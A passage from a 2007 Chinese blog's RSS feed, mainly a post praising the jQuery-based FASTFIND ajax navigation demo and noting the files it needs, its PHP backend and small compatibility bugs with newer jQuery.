&amp;#60;a [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://ihao.net/2007/12/javascript-extend/feed/</wfw:commentRss><feedburner:origLink>http://ihao.net/2007/12/javascript-extend/</feedburner:origLink></item><item><title>帅得掉渣的导航栏</title><link>http://feeds.ihao.net/~r/Ihao/~3/169697576/</link><category>navigate</category><category>jquery</category><category>ajax</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">iHao</dc:creator><pubDate>Sun, 14 Oct 2007 05:06:43 -0500</pubDate><guid isPermaLink="false">http://ihao.net/2007/10/%e5%b8%85%e5%be%97%e6%8e%89%e6%b8%a3%e7%9a%84%e5%af%bc%e8%88%aa%e6%a0%8f/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>很久前就看到<a href="http://www.deviantart.com/">deviantART</a>在改版时用上了ajax的动态导航,前几天又经<a href="http://csee.yo2.cn/">小常</a>提醒看到了国内的<a href="http://www.lemoons.com/">柠檬网</a>也用上了这样的导航,晚上简单看了下柠檬网上的代码,发现写得很死.而且扩展性也不怎么样.于是上网搜索没想到找到了这个牛比的主儿:<a href="http://labs.activespotlight.net/jQuery/menu_demo.html">FASTFIND</a>.(<a href="http://lab.ihao.net/fastfind/">DEMO在这儿</a>) </p>
<p>效果相当得令我快乐,虽然DEMO还有许多不足,但还是让我忍不住下载下来研究下.<br />
整个DEMO所需的js文件:jQuery.js, Interface.js, fastfind.js<br />
后台输出用的是PHP,一个简单根据传入参数生成相应HASH数组再转成导航内容的程序.(程序和fastfind.js都预留了api较验的接口,虽然在DEMO中未提供但还是令人快乐的)</p>
<p>如果要结合到自己的应用程序上的话要对api处理下,简单去去掉么就好了.</p>
<p>对新版的jQuery支持有些小问题,比如fastFindToggle()函数只能Toggle一次.fastfind中的ajaxStart好像在新版jQuery下也会失效.目前放在DEMO中的jQuery是R249的压缩版.</p>
<p>激动了,有点语无伦次了,乱了乱了,,,,理理&#8230;</p>
<p>update:<br />
更新一下，补上一个给“大便王子”的autocomplete的demo地址:<a href="http://interface.eyecon.ro/demos/autocompleter.html">demo</a> (使用jQuery的<a href="http://interface.eyecon.ro/">Interface插件</a>)</p>
<div class="feedflare">
<a href="http://feeds.ihao.net/~f/Ihao?a=ImkCs5pV"><img src="http://feeds.ihao.net/~f/Ihao?i=ImkCs5pV" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=vSVQ9R9y"><img src="http://feeds.ihao.net/~f/Ihao?i=vSVQ9R9y" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=dJXFldZw"><img src="http://feeds.ihao.net/~f/Ihao?i=dJXFldZw" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=7gZBInD2"><img src="http://feeds.ihao.net/~f/Ihao?i=7gZBInD2" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=3rzzbjz1"><img src="http://feeds.ihao.net/~f/Ihao?i=3rzzbjz1" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=KndqwuDT"><img src="http://feeds.ihao.net/~f/Ihao?i=KndqwuDT" border="0"></img></a>
</div><img src="http://feeds.ihao.net/~r/Ihao/~4/169697576" height="1" width="1"/>]]></content:encoded><description>很久前就看到deviantART在改版时用上了ajax的动态导航,前几天又经小常提醒看到了国内的柠檬网也用上了这样的导航,晚上简单看了下柠檬网上的代码,发现写得很死.而且扩展性也不怎么样.于是上网搜索没想到找到了这个牛比的主儿:FASTFIND.(DEMO在这儿) 
效果相当得令我快乐,虽然DEMO还有许多不足,但还是让我忍不住下载下来研究下.
整个DEMO所需的js文件:jQuery.js, Interface.js, fastfind.js
后台输出用的是PHP,一个简单根据传入参数生成相应HASH数组再转成导航内容的程序.(程序和fastfind.js都预留了api较验的接口,虽然在DEMO中未提供但还是令人快乐的)
如果要结合到自己的应用程序上的话要对api处理下,简单去去掉么就好了.
对新版的jQuery支持有些小问题,比如fastFindToggle()函数只能Toggle一次.fastfind中的ajaxStart好像在新版jQuery下也会失效.目前放在DEMO中的jQuery是R249的压缩版.
激动了,有点语无伦次了,乱了乱了,,,,理理&amp;#8230;
update:
更新一下，补上一个给“大便王子”的autocomplete的demo地址:demo (使用jQuery的Interface插件)</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://ihao.net/2007/10/fastfind-ajax-naviga/feed/</wfw:commentRss><feedburner:origLink>http://ihao.net/2007/10/fastfind-ajax-naviga/</feedburner:origLink></item></channel></rss>
